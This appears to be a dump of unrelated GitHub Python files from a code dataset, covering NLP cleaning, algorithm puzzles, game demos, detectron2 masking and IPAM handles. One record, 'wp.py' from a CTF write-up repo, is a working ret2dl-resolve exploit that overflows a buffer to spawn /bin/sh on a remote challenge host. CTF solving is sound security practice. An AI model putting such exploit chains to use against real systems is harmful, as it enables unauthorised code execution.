str(sentence)\n\n\ndef remove_emoji(sentence):\n result = clean(sentence, no_emoji=True)\n return (result)\n\n\ndef remove_specialchar(sentence):\n new_string = sentence.translate(str.maketrans('', '', string.punctuation))\n\n return (new_string)\n\n\ndata = pd.read_csv(filename)\n\ntotal_operations = 4 # number of operations performed\nwith tqdm(total=total_operations, desc='Training Data cleaning', unit='op') as pbar:\n\n data['Comment'] = data['Comment'].str.lower()\n pbar.update(1)\n\n data['Comment'] = data['Comment'].apply(\n lambda x: correct_sentence_spelling(x))\n pbar.update(1)\n\n data['Comment'] = data['Comment'].apply(lambda x: remove_emoji(x))\n pbar.update(1)\n\n data['Comment'] = data['Comment'].apply(lambda x: remove_specialchar(x))\n pbar.update(1)\n\n data['Comment'] = data['Comment'].apply(lambda x: stopwords_removal(x))\n pbar.update(1)\n\n data['polarity'] = data['Comment'].apply(\n lambda x: TextBlob(x).sentiment.polarity)\n data['pol_cat'] = 0\n\n\ndata['pol_cat'][data.polarity > 0] = 1\ndata['pol_cat'][data.polarity <= 0] = -1\n\n\ndata_pos = data[data['pol_cat'] == 1]\ndata_pos = data_pos.reset_index(drop=True)\n\ndata_neg = data[data['pol_cat'] == -1]\ndata_neg = data_neg.reset_index(drop=True)\n\ncleaned_data = f'Cleaned{filename}'\ndata.to_csv(cleaned_data)\nprint('Cleaned the data saved to file '+cleaned_data)\n\n\nprint('Positive Comments: ', data_pos.count())\nprint('Negative Comments: ', data_neg.count())\n","repo_name":"theredditbandit/comments-nlp","sub_path":"src/data_cleaning.py","file_name":"data_cleaning.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"16901211552","text":"# Implement strStr().\n\"\"\"\nReturns the index of the first occurrence of needle in haystack,\nor -1 if needle is not part of haystack.\n\"\"\"\nclass Solution(object):\n def strStr(self, haystack, needle):\n \"\"\"\n :type haystack: str\n :type needle: str\n :rtype: int\n \"\"\"\n l_hay = len(haystack)\n l_nee = len(needle)\n ind_nee = 0\n if not haystack and not needle: return 0\n if haystack and not needle: return 0\n if l_hay < l_nee: return -1\n for ind_hay in range(l_hay):\n temp_ind_hay = ind_hay\n while temp_ind_hay < l_hay and ind_nee < l_nee:\n if haystack[temp_ind_hay] != needle[ind_nee]:\n ind_nee = 0\n break\n else:\n ind_nee += 1\n temp_ind_hay +=1\n if ind_nee == l_nee:\n return ind_hay\n if temp_ind_hay == l_hay:\n return -1\n # if ind_nee == l_nee: return ind_hay-l_nee+1\n return -1","repo_name":"lightening0907/algorithm","sub_path":"NeedleInHaystack.py","file_name":"NeedleInHaystack.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29232001998","text":"#!/usr/bin/env python3\nimport numpy as np\nimport re\n\nP = []\nV = []\nwith open('10.txt') as f:\n for line in f:\n x0, y0, vx, vy = re.findall('-?\\d+', line.strip())\n P.append((x0, y0))\n V.append((vx, vy))\n\nP = np.array(P, dtype=int)\nV = np.array(V, dtype=int)\n\nbest_dist = None\nbest_sec = None\nsec = 0\nwhile True:\n p = P + V * sec\n min_ = np.min(p, axis=0)\n max_ = np.max(p, axis=0)\n dist = np.sum(max_ - min_)\n if best_dist is None or dist < best_dist:\n # This isn't necessarily this the correct answer, but it's very likely.\n best_sec = sec\n best_dist = dist\n if dist > best_dist:\n break\n sec += 1\n\n\ndef print_points(p):\n minx, miny = np.min(p, axis=0)\n maxx, maxy = np.max(p, axis=0)\n sx = maxx - minx + 1\n sy = maxy - miny + 1\n\n a = [['.'] * sx for _ in range(sy)]\n for x, y in p:\n a[y-miny][x-minx] = '#'\n for row in a:\n print(''.join(row))\n\nfor sec in range(best_sec-1, best_sec+2):\n print('\\n', sec, 'seconds')\n print_points(P + sec * V)\n","repo_name":"stianse/advent-of-code-2018","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16529189934","text":"import pygame\r\n\r\nclass Tile:\r\n\r\n def __init__(self, x, y, image, cover):\r\n self.image = image\r\n self.cover = cover\r\n self.rect = pygame.Rect(x, y, 60, 60)\r\n self.covered = True\r\n self.time_to_cover = None\r\n\r\n def draw(self, screen):\r\n # draw cover or image\r\n if self.covered:\r\n screen.blit(self.cover, self.rect)\r\n else:\r\n screen.blit(self.image, self.rect)\r\n\r\n def update(self):\r\n # hide card (after 2000ms)\r\n if not self.covered and pygame.time.get_ticks() >= self.time_to_cover:\r\n self.covered = True\r\n\r\n def handle_event(self, event):\r\n # check left button click\r\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\r\n # check position \r\n if self.rect.collidepoint(event.pos):\r\n self.covered = not self.covered\r\n if not self.covered:\r\n # if uncovered then set +2000ms to cover\r\n self.time_to_cover = pygame.time.get_ticks() + 2000\r\n\r\n#----------------------------------------------------------------------\r\n\r\n# init\r\n\r\npygame.init()\r\n\r\nscreen = pygame.display.set_mode((320,320))\r\n\r\n# create images\r\n\r\nimg = pygame.surface.Surface((60, 60))\r\nimg.fill((255,0,0))\r\n\r\ncov = pygame.surface.Surface((60, 60))\r\ncov.fill((0,255,0))\r\n\r\n# create tiles\r\n\r\ntiles = []\r\nfor y in range(5):\r\n for x in range(5):\r\n tiles.append( Tile(x*65, y*65, img, cov) )\r\n\r\n# mainloop\r\n\r\nclock = pygame.time.Clock()\r\nrunning = True\r\n\r\nwhile running:\r\n\r\n # events\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n\r\n for x in tiles:\r\n x.handle_event(event)\r\n\r\n # updates\r\n\r\n for x in tiles:\r\n x.update()\r\n\r\n # draws\r\n\r\n for x in tiles:\r\n x.draw(screen)\r\n\r\n pygame.display.flip()\r\n\r\n # clock\r\n\r\n clock.tick(25)\r\n\r\npygame.quit()","repo_name":"PileUp120/CMPUT-projects","sub_path":"CMPUT174(Python)/Lab Work/Tile borad example.py","file_name":"Tile borad example.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12605483143","text":"\"\"\"\nPermission definitions for the courseware djangoapp\n\"\"\"\n\nfrom bridgekeeper import perms\nfrom .rules import HasAccessRule, HasStaffAccessToContent\n\nEDIT_BOOKMARK = 'courseware.edit_bookmark'\nMASQUERADE_AS_STUDENT = 'courseware.masquerade_as_student'\nVIEW_COURSE_HOME = 'courseware.view_course_home'\nVIEW_COURSEWARE = 'courseware.view_courseware'\nVIEW_XQA_INTERFACE = 'courseware.view_xqa_interface'\n\nperms[EDIT_BOOKMARK] = HasAccessRule('staff')\nperms[MASQUERADE_AS_STUDENT] = HasStaffAccessToContent()\nperms[VIEW_COURSE_HOME] = HasAccessRule('load')\nperms[VIEW_COURSEWARE] = HasAccessRule('load')\nperms[VIEW_XQA_INTERFACE] = HasAccessRule('staff')\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/courseware/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"38903146407","text":"import os\nimport json\nimport httplib2\nimport time\n\n# [START build_and_update]\n\nRESOURCE_PATH='..' #look for discovery docs in the parent folder\nMAX_AGE = 86400 #update discovery docs older than a day\n\n# A module that takes care of caching and updating discovery docs\n# for google-api-python-clients (until such a feature is integrated)\n\n\ndef build_and_update(api, version):\n from oauth2client.client import GoogleCredentials\n from googleapiclient.discovery import build_from_document\n\n\n path = os.path.join(RESOURCE_PATH, '{}.{}'.format(api, version))\n try:\n age = time.time() - os.path.getmtime(path)\n if age > MAX_AGE:\n _update_discovery_doc(api, version, path)\n except os.error:\n _update_discovery_doc(api, version, path)\n\n with open(path, 'r') as discovery_doc:\n return build_from_document(discovery_doc.read(),\n http=httplib2.Http(),\n credentials=GoogleCredentials\n .get_application_default())\n\ndef _update_discovery_doc(api, version, path):\n from apiclient.discovery import DISCOVERY_URI\n from apiclient.errors import HttpError\n from apiclient.errors import InvalidJsonError\n import uritemplate\n\n requested_url = uritemplate.expand(DISCOVERY_URI,\n {'api': api, 'apiVersion': version})\n resp, content = httplib2.Http().request(requested_url)\n if resp.status >= 400:\n raise HttpError(resp, content, uri=requested_url)\n try:\n with open(path, 'w') as discovery_doc:\n discovery_json = json.loads(content)\n json.dump(discovery_json, discovery_doc)\n except ValueError:\n raise InvalidJsonError(\n 'Bad JSON: %s from %s.' % (content, requested_url))\n# [END build_and_update]\n","repo_name":"googlearchive/bigquery-samples-python","sub_path":"python/samples/discovery_doc.py","file_name":"discovery_doc.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"36467822234","text":"import os\nfrom gtts import gTTS\nfrom pydub import AudioSegment\nfrom pydub.effects import speedup\n\ndef create_mp3_file(filename, words, times):\n audio_dur = times[-1][1]\n \n # Make a bunch of mp3 files\n ## final_audio = AudioSegment.silent(duration=audio_dur)\n final_audio = AudioSegment.silent(duration=100)\n \n mp3_ind = 1\n\n previous_word_end_time = 0\n for word, time in zip(words, times):\n assert(time[1] > time[0])\n # Text to speech the word..\n tts = gTTS(word, lang='en', slow=False) # slow=False means the speed is not slow\n output_file = f\"{mp3_ind}.mp3\" #\n tts.save(output_file)\n \n # # Speed up or slow down the word\n # desired_length_ms = (time[1] - time[0]) * 1000\n \n sound = AudioSegment.from_file(output_file, format=\"mp3\")\n # current_length_ms = len(sound)\n # new_speed = current_length_ms / desired_length_ms\n # print(new_speed)\n new_speed = 1\n sound = speedup(sound, playback_speed=new_speed)\n\n # # First add silence from last word\n # silence_dur = (time[0] * 1000) - previous_word_end_time\n # if silence_dur > 0:\n # final_audio = final_audio.append(AudioSegment.silent(duration=silence_dur))\n \n final_audio = final_audio.append(sound)\n mp3_ind += 1\n\n previous_word_end_time = time[1] * 1000\n \n final_audio.export(filename, format=\"mp3\")\n return final_audio\n \n \n\n\n\nif __name__ == \"__main__\":\n os.makedirs(\"./mp3_files\", exist_ok=True)\n \n words = \"This is a test of the timing system\".split()\n times = [(0.1, 0.3), (0.3, 0.5), (1, 1.4), (1.4, 2.5), (2.6, 2.9), (3.2, 4.0), (4.1, 5.0), (6.9, 7.11)]\n \n create_mp3_file(\"final_audio_test.mp3\", words, times)","repo_name":"schefferac2020/LipReading","sub_path":"MakeAudioFile.py","file_name":"MakeAudioFile.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"32376870232","text":"\nimport sys\n\n# def hex2bin(HexInputStr, outFormat=4):\n# '''This function accepts the following two args.\n# 1) A Hex number as input string and\n# 2) Optional int value that selects the desired Output format(int value 8 for byte and 4 for nibble [default])\n# The function returns binary equivalent value on the first arg.'''\n# int_value = int(HexInputStr, 16)\n# if(outFormat == 8):\n# output_length = 8 * ((len(HexInputStr) + 1 ) // 2) # Byte length output i.e input A is printed as 00001010\n# else:\n# output_length = (len(HexInputStr)) * 4 # Nibble length output i.e input A is printed as 1010\n\n\n# bin_value = f'{int_value:0{output_length}b}' # new style\n# return bin_value\n\n# print(hex2bin('3Fa', 8)) # prints 0000001111111010 \n\n\ndef string_to_bit_array(s):#Convert a string into a list of bits\n res = \"{0:064b}\".format(int(s, 16)) \n \n results = map(int, list(res))\n return results \n\nprint(string_to_bit_array(\"FFFFFFFFFFFFFFFF\"))\n\n \n","repo_name":"msaidm/DES-implementation","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14375465645","text":"from dao.game_dao import * \nfrom model.game import Game\nfrom model.player import Player\nfrom model.battlefield import Battlefield\nfrom sqlalchemy import *\nfrom sqlalchemy.orm import *\nfrom email.mime import base\nfrom sqlalchemy.ext.declarative import declarative_base\n\nclass GameService:\n def __init__(self):\n self.game_dao = GameDao()\n\n def create_game(self, player_name: str, min_x: int, max_x: int, min_y: int, max_y: int, min_z: int, max_z: int) -> int:\n game = Game()\n battle_field = Battlefield(min_x, max_x, min_y, max_y, min_z, max_z)\n game.add_player(Player(player_name, battle_field))\n return self.game_dao.create_game(game)\n\n def join_game(self, game_id: int, player_name: str) -> bool:\n # Récupération de l'objet de jeu correspondant à l'identifiant donné\n game = self.game_dao.find_game(game_id)\n # Création d'un objet joueur avec le nom donné\n player = Player(name=player_name)\n # Enregistrement du joueur en base de données\n player_entitiy = map_to_player_entity(player)\n self.game_dao.db_session.add(player_entitiy)\n # Ajout du joueur au jeu et retour du résultat de l'opération\n return game.add_player(player)\n\n def get_game(self, game_id: int) -> Game:\n # Récupération de l'objet de jeu correspondant à l'identifiant donné\n return self.game_dao.find_game(game_id)\n \n def add_vessel(self, game_id: int, player_name: str, vessel_type: str, x: int, y: int, z: int) -> bool:\n # Liste des types de navire disponibles\n L=[Aircraft,Cruiser,Destroyer,Frigate,Submarine]\n # Liste des noms de types de navire en minuscule\n l=[\"aircraft\",\"cruiser\",\"destroyer\",\"frigate\",\"submarine\"]\n # Récupération de l'objet de jeu correspondant à l'identifiant donné\n game = self.get_game(game_id)\n # Pour chaque type de navire disponible,\n for i in range(len(l)):\n # Si le type de navire donné correspond au type de navire disponible,\n if vessel_type.lower() == l[i]:\n # On récupère l'objet navire correspondant\n vessel=L[i]\n # Pour chaque joueur du jeu,\n for k in range(len(game.players)):\n # Si le nom du joueur correspond au nom donné,\n if game.players[k].name == player_name:\n # On enregistre le navire en base de données et on l'ajoute au champ de bataille du joueur\n vessel_entity = map_to_vessel_entity(game.players[k].battlefield.id,vessel(x,y,z))\n self.game_dao.db_session.add(vessel_entity)\n game.players[k].battle_field.add_vessel(vessel_type(x,y,z))\n # On retourne vrai pour indiquer que l'ajout du navire a réussi\n return True\n # Si aucun joueur ne correspond au nom donné, on retourne faux\n return False\n\n def shoot_at(self, game_id: int, shooter_name: str, vessel_id: int, x: int, y: int, z: int) -> bool:\n # Récupération de l'objet de jeu correspondant à l'identifiant donné\n game = self.get_game(game_id)\n # Récupération de l'objet navire correspondant à l'identifiant donné\n vessel = self.game_dao.find_vessel(vessel_id)\n # Récupération de la liste des objets joueur du jeu\n players = game.get_players()\n # Création d'une liste de noms de joueurs dans le jeu\n players_in_the_game=[]\n for i in range(len(players)):\n players_in_the_game.append(players[i].name)\n # Itération sur chaque joueur\n for k in range(len(players)):\n # Si le nom du joueur actuel correspond au nom du tireur,\n # la boucle interne itère sur chaque navire du joueur et vérifie si l'identifiant du navire correspond à celui spécifié\n if players[k].name == shooter_name:\n for vessel in players[k].battle_field.vessels :\n if vessel.id == vessel_id:\n # Le navire tire à l'emplacement cible et les informations du navire sont mises à jour en base de données\n vessel.fire_at(x,y,z)\n vessel_entity = map_to_vessel_entity(game.players[k].battlefield.id,vessel)\n self.game_dao.db_session.add(vessel_entity)\n # Si le nom du joueur actuel n'est pas celui du tireur, mais que le tireur est dans la liste des joueurs du jeu,\n # la boucle interne itère sur chaque navire du joueur et vérifie si les coordonnées du navire correspondent à celles spécifiées\n elif players[k].name != shooter_name and shooter_name in players_in_the_game:\n for vessel in players[k].battle_field.vessels :\n if vessel.get_coordinates()==(x,y,z):\n # Les informations du navire sont mises à jour en base de données\n vessel_entity = map_to_vessel_entity(game.players[k].battlefield.id,vessel(x,y,z))\n self.game_dao.db_session.add(vessel_entity)\n # Retourne vrai pour indiquer que le navire a été touché\n return True\n # Si aucun navire n'a été touché, retourne faux\n return False\n \n\n def get_game_status(self, game_id: int, shooter_name: str) -> str:\n # Récupération de l'objet de jeu correspondant à l'identifiant donné\n game = self.get_game(game_id)\n # Création d'un objet joueur à partir du nom donné\n player = Player(name=shooter_name)\n # Récupération de la liste des objets joueur du jeu\n players = game.get_players\n # Si l'objet joueur créé se trouve dans la liste des joueurs du jeu,\n if player in players :\n # il est retiré de la liste\n players.remove(player)\n # Le seul joueur restant est récupéré\n player_2 = players[0]\n # Si la puissance du navire du joueur créé est nulle, le statut de la partie est \"Perdu\"\n if player.battle_field.get_power() ==0:\n return \"Perdu\"\n # Si la puissance du navire du joueur restant est nulle, le statut de la partie est \"Gagne\"\n elif player_2.battle_field.get_power()==0:\n return \"Gagne\"\n # Sinon, le statut de la partie est \"En cours\"\n else :\n return \"Encours\"","repo_name":"ImadZaoug/TDLOG","sub_path":"services/game_service.py","file_name":"game_service.py","file_ext":"py","file_size_in_byte":6339,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"19287053253","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nReferences\n----------\nhttps://colab.research.google.com/drive/16jcaJoc6bCFAQ96jDe2HwtXj7BMD_-m5\n Detectron2 Beginner's Tutorial\n\"\"\"\n\nimport sys\nimport os\nimport os.path as osp\nimport logging\n# import json\n# import random\nimport time\nimport numpy as np\nimport cv2\n\nimport torch\n# import torchvision\nimport subprocess\n\n# import detectron2\nfrom detectron2.utils.logger import setup_logger\n\n# import some common libraries\n# from google.colab.patches import cv2_imshow\n\n# import some common detectron2 utilities\nfrom detectron2 import model_zoo\nfrom detectron2.engine import DefaultPredictor\n# from detectron2.engine import DefaultTrainer\nfrom detectron2.config import get_cfg\nfrom detectron2.utils.visualizer import Visualizer, GenericMask, ColorMode\n# from detectron2.data import MetadataCatalog, DatasetCatalog\nfrom detectron2.data import MetadataCatalog\n\n# from detectron2.structures import BoxMode\n\n# User import\nfrom object_detection.configs import cfg as gcfg\nfrom object_detection.configs import ColorPrint\nfrom object_detection.configs import get_specific_files\nfrom object_detection.configs import get_specific_files_no_tag\n# from object_detection.configs import get_specific_files_with_tag_in_name\n# from object_detection.visualization import viz_image_grid\n\n\ndef value_statis(data, desc):\n labels, areas = np.unique(data, return_counts=True)\n\n sorted_idxs = np.argsort(-areas).tolist()\n labels = labels[sorted_idxs]\n areas = areas[sorted_idxs]\n print('== {}: {} {} =='.format(desc, data.shape, data.dtype))\n if len(labels) > 20:\n print(' - label: {} {}'.format(labels.shape, labels.dtype))\n print(' - count: {} {}'.format(areas.shape, areas.dtype))\n else:\n print(' - label: {} {} {}'.format(labels.shape, labels.dtype, labels))\n print(' - count: {} {} {}'.format(areas.shape, areas.dtype, areas))\n\n\ndef predict_image(im):\n cfg = get_cfg()\n\n # add project-specific config (e.g., TensorMask) here if you're not\n # running a model in detectron2's core library\n cfg.merge_from_file(model_zoo.get_config_file(\n \"COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml\"))\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.5 # set threshold for this model\n\n # Find a model from detectron2's model zoo. You can\n # use the https://dl.fbaipublicfiles... url as well\n cfg.MODEL.WEIGHTS = model_zoo.get_checkpoint_url(\n \"COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml\")\n predictor = DefaultPredictor(cfg)\n outputs = predictor(im)\n\n '''\n look at the outputs. See\n https://detectron2.readthedocs.io/tutorials/models.html#model-output-format\n for specification\n '''\n print(outputs[\"instances\"].pred_classes)\n print(outputs[\"instances\"].pred_boxes)\n\n # We can use `Visualizer` to draw the predictions on the image.\n '''\n v = Visualizer(im[:, :, ::-1], MetadataCatalog.get(cfg.DATASETS.TRAIN[0]),\n scale=1.2)\n '''\n v = Visualizer(np.zeros_like(im),\n MetadataCatalog.get(cfg.DATASETS.TRAIN[0]),\n scale=1.0)\n im_mask = np.zeros_like(im, np.uint8)\n\n if outputs[\"instances\"].has(\"pred_masks\"):\n masks = np.asarray(outputs[\"instances\"].to(\"cpu\").pred_masks)\n value_statis(masks, 'massk1')\n print('masks1: {}'.format(type(masks)))\n\n for idx_i in range(masks.shape[0]):\n im_mask[masks[idx_i, :, :]] = idx_i * 2 + 10\n\n masks = [GenericMask(x, v.output.height, v.output.width) for x in masks]\n\n print('masks2: {}'.format(type(masks)))\n num_instance = len(v._convert_masks(masks))\n print(' -> num_instances: {}'.format(num_instance))\n out = v.overlay_instances(masks=masks)\n else:\n out = v.draw_instance_predictions(outputs[\"instances\"].to(\"cpu\"))\n\n value_statis(out.get_image(), 'out.get_image()')\n value_statis(im_mask, 'im_mask')\n\n # return out.get_image()\n return im_mask\n\n\ndef predict_image_opt(im):\n cfg = get_cfg()\n cfg.merge_from_file(model_zoo.get_config_file(\n \"COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml\"))\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.5\n cfg.MODEL.WEIGHTS = model_zoo.get_checkpoint_url(\n \"COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml\")\n predictor = DefaultPredictor(cfg)\n outputs = predictor(im)\n im_mask = np.zeros_like(im, np.uint8)\n if outputs[\"instances\"].has(\"pred_masks\"):\n masks = np.asarray(outputs[\"instances\"].to(\"cpu\").pred_masks)\n for idx_i in range(masks.shape[0]):\n im_mask[masks[idx_i, :, :]] = idx_i * 2 + 10\n return im_mask\n\n\ndef process_mynt_dataset():\n png_files = get_specific_files_no_tag(\n gcfg.get_dataset_img_dir, '.png', '-fseg', True)\n png_files = png_files[:5]\n ColorPrint.print_info(' - png_files: {}'.format(len(png_files)))\n\n base_dir = osp.basename(gcfg.get_dataset_img_dir)\n ColorPrint.print_info(' - base_dir: {}'.format(base_dir))\n\n img_num_per_bag = 500\n\n for idx in range(min(1200000, len(png_files))):\n idx_bag = int(idx / img_num_per_bag)\n\n save_dir = osp.join(\n gcfg.get_ou_dir,\n '{}_{:05d}-{:05d}'.format(\n base_dir, idx_bag * img_num_per_bag,\n (idx_bag + 1) * img_num_per_bag))\n if not osp.exists(save_dir):\n os.mkdir(save_dir)\n\n img_in = cv2.imread(png_files[idx])\n img_name = osp.basename(png_files[idx])\n ColorPrint.print_info(' - process {}'.format(img_name))\n img_ou = predict_image_opt(img_in) # predict\n str_base, str_ext = osp.splitext(img_name)\n save_name = osp.join(save_dir, str_base + '-fseg' + str_ext)\n # img_ou = cv2.resize(img_ou, (img_in.shape[1], img_in.shape[0]))\n\n # grid_viz = viz_image_grid.VizImageGrid(im)\n\n cv2.imwrite(save_name, img_ou)\n\n\ndef process_kitti_dataset():\n # check kitti dir\n kitti_home = gcfg.get_dataset_kitti_seq\n if not osp.exists(kitti_home):\n raise ValueError\n\n drive_collections = list()\n for item_date in os.listdir(kitti_home):\n if not osp.isdir(osp.join(kitti_home, item_date)):\n continue\n subdir_date = osp.join(kitti_home, item_date)\n for item_drive in os.listdir(subdir_date):\n if not osp.isdir(osp.join(subdir_date, item_drive)):\n continue\n drive_collections.append(osp.join(subdir_date, item_drive))\n\n # check drive dir\n if len(drive_collections) == 0:\n raise ValueError\n\n drive_collections.sort()\n img_col = list()\n for item_dir in drive_collections:\n png_cam2 = get_specific_files_no_tag(\n osp.join(item_dir, 'image_02/data'), '.png', '-fseg', True)\n png_cam3 = get_specific_files_no_tag(\n osp.join(item_dir, 'image_03/data'), '.png', '-fseg', True)\n\n if len(png_cam2) != len(png_cam3):\n raise ValueError\n img_col.append(png_cam2)\n img_col.append(png_cam3)\n\n # generate mask with detectron2\n img_num_total = 0\n for seq in img_col:\n data_dir, _ = osp.split(seq[0])\n ColorPrint.print_info('- process_dir: {}'.format(data_dir))\n ColorPrint.print_info('- png_files: {}'.format(len(seq)))\n img_num_total += len(seq)\n for item_png in seq:\n img_in = cv2.imread(item_png)\n str_dirname, str_basename = osp.split(item_png)\n str_base, str_ext = osp.splitext(str_basename)\n save_name = osp.join(str_dirname, str_base + '-fseg' + str_ext)\n ColorPrint.print_info(' - process {}'.format(str_basename))\n img_ou = predict_image_opt(img_in) # predict\n cv2.imwrite(save_name, img_ou)\n ColorPrint.print_warn('processed {} images in total.'.format(img_num_total))\n\n\n################################################################################\n# main\n################################################################################\nif __name__ == '__main__':\n setup_logger()\n print('sys.version: {}'.format(sys.version))\n print('np.__version__: {}'.format(np.__version__))\n print('torch.__version__: {}'.format(torch.__version__))\n print('torch.cuda.is_available(): {}'.format(torch.cuda.is_available()))\n\n print('\\n')\n subprocess.call(['gcc', '--version'])\n\n time_beg = time.time()\n # process_mynt_dataset()\n process_kitti_dataset()\n time_end = time.time()\n ColorPrint.print_warn('elapsed {} seconds.'.format(time_end - time_beg))\n","repo_name":"yangxl-2014-fe/myColab","sub_path":"object_detection/generate_mask.py","file_name":"generate_mask.py","file_ext":"py","file_size_in_byte":8585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33408845690","text":"import sys\nimport roputils\nfrom pwn import *\n#context.log_level = 'debug'\noffset = 44\nreadplt = 0x08048390\nbss = 0x0804a068\nvulFunc = 0x0804852d\n\n#p = process('./pwn')\n#p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com','33865')\np = remote('39.106.224.151','60005')\nrop = roputils.ROP('./pwn')\naddr_bss = rop.section('.bss')\n\n# step1 : write sh & resolve struct to bss\nbuf1 = 'A' * offset #44\nbuf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)\np.send(buf1)\n\nbuf2 = rop.string('/bin/sh')\nbuf2 += rop.fill(20, buf2)\nbuf2 += rop.dl_resolve_data(addr_bss+20, 'system')\nbuf2 += rop.fill(100, buf2)\np.send(buf2)\n\n#gdb.attach(p)\n#step2 : use dl_resolve_call get system & system('/bin/sh')\nbuf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)\np.send(buf3)\np.interactive()\n","repo_name":"siriuswhiter/ctf_writeup","sub_path":"xinan/pwn3/wp.py","file_name":"wp.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"14125933177","text":"from netaddr import IPNetwork\nimport json\nimport logging\n\nfrom pycalico import PyCalicoError\n\n_log = logging.getLogger(__name__)\n_log.addHandler(logging.NullHandler())\n\n\nclass AllocationHandle(object):\n \"\"\"\n An allocation handle tracks the blocks and number of addresses allocated\n with a particular handle ID. This allows fast releasing of those IPs\n using the handle ID.\n \"\"\"\n HANDLE_ID = \"id\"\n BLOCK = \"block\"\n\n def __init__(self, handle_id):\n \"\"\"\n\n :param handle_id: The ID for this handle, must be a string.\n :return: AllocationHandle\n \"\"\"\n\n self.handle_id = handle_id\n self.db_result = None\n\n self.block = {}\n \"\"\"\n Stores the number of allocated addresses, by block CIDR.\n \"\"\"\n\n def to_json(self):\n \"\"\"\n Convert to a JSON representation for writing to etcd.\n \"\"\"\n\n json_dict = {AllocationHandle.HANDLE_ID: self.handle_id,\n AllocationHandle.BLOCK: self.block}\n return json.dumps(json_dict)\n\n @classmethod\n def from_etcd_result(cls, etcd_result):\n \"\"\"\n Convert a JSON representation into an instance of AllocationHandle.\n \"\"\"\n json_dict = json.loads(etcd_result.value)\n handle_id = json_dict[AllocationHandle.HANDLE_ID]\n handle = cls(handle_id)\n handle.db_result = etcd_result\n\n block = json_dict[AllocationHandle.BLOCK]\n\n handle.block = block\n\n return handle\n\n def update_result(self):\n \"\"\"\n Return the EtcdResult with any changes to the object written to\n result.value.\n :return:\n \"\"\"\n self.db_result.value = self.to_json()\n return self.db_result\n\n def increment_block(self, block_cidr, num):\n \"\"\"\n Increment the address count for the given block.\n :param block_cidr: Block ID as IPNetwork in CIDR format.\n :param num: Amount to increment\n :return: New count\n \"\"\"\n assert isinstance(block_cidr, IPNetwork)\n block_id = str(block_cidr)\n cur = self.block.get(block_id, 0)\n new = cur + num\n self.block[block_id] = new\n return new\n\n def decrement_block(self, block_cidr, num):\n \"\"\"\n Decrement the address count for the given block.\n :param block_cidr: Block ID as IPNetwork in CIDR format.\n :param num: Amount to decrement\n :return: New count\n \"\"\"\n assert isinstance(block_cidr, IPNetwork)\n block_id = str(block_cidr)\n try:\n cur = self.block[block_id]\n except KeyError:\n raise AddressCountTooLow(\"Tried to decrement block %s by %s, but \"\n \"it isn't linked to handle %s\" %\n (block_id, num, self.handle_id))\n else:\n new = cur - num\n if new < 0:\n raise AddressCountTooLow(\"Tried to decrement block %s by %s, \"\n \"but it only has %s addresses on\"\n \" handle %s\" % (block_id, num, cur,\n self.handle_id))\n if new == 0:\n del self.block[block_id]\n else:\n self.block[block_id] = new\n return new\n\n def is_empty(self):\n \"\"\"\n Return True if there are no allocations, False otherwise.\n \"\"\"\n return len(self.block) == 0\n\n\nclass HandleError(PyCalicoError):\n \"\"\"\n Base error class for IPAM AllocationHandles.\n \"\"\"\n pass\n\n\nclass AddressCountTooLow(HandleError):\n \"\"\"\n Tried to decrement the address count for a block, but it was too low to\n decrement without going below zero.\n \"\"\"\n pass\n","repo_name":"projectcalico/libcalico","sub_path":"calico_containers/pycalico/handle.py","file_name":"handle.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"} +{"seq_id":"36111709277","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport functools\nimport logging\nimport os\nimport pkgutil\nimport re\nimport traceback\nimport warnings\n\nfrom 